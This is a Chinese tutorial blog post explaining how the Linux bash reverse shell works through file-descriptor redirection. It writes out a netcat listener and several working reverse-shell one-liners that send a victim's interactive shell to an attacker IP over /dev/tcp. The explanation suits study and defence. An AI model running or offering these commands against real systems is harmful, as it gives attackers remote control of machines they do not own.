Linux 反弹shell----理解反弹shell的本质

文章内容和图片参考于:https://xz.aliyun.com/t/2548

 

当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

我们就以最常见的反弹bash为例:
attacker机器上执行:

nc -lvp 2333

victim 机器上执行:

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

解析这个命令,首先这个命令分为三步

为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
在受害者机器上输入

bash -i > /dev/tcp/192.168.146.129/2333

示意图:

但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

于是我们似乎还需要一条这样的指令

bash -i < /dev/tcp/192.168.146.129/2333

示意图:

这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

最后就是将错误信息也输入到/dev/tcp/192.168.146.129/2333

所以这里会用到   >&、&>这两个用法

bash -i >& /dev/tcp/192.168.146.129/2333 

这时错误信息也传到攻击者ip当中

 

注意 >& 和 0>&1的区别:

>&和&>都是代表错误输重定向

而当>&周围紧挨着1\0\2数字时他的含义就变了.  这时&的作用只是防止1\0\2被shell认为是文件, 能正确的识别为 1=标准输出, 2=错误输出 ,0=标准输入

最后就是将以上三步结合

bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

当然我们也可以执行与之完全等价的指令

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句

 

 

最后理解:文件描述符的复制

格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

说明:

1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值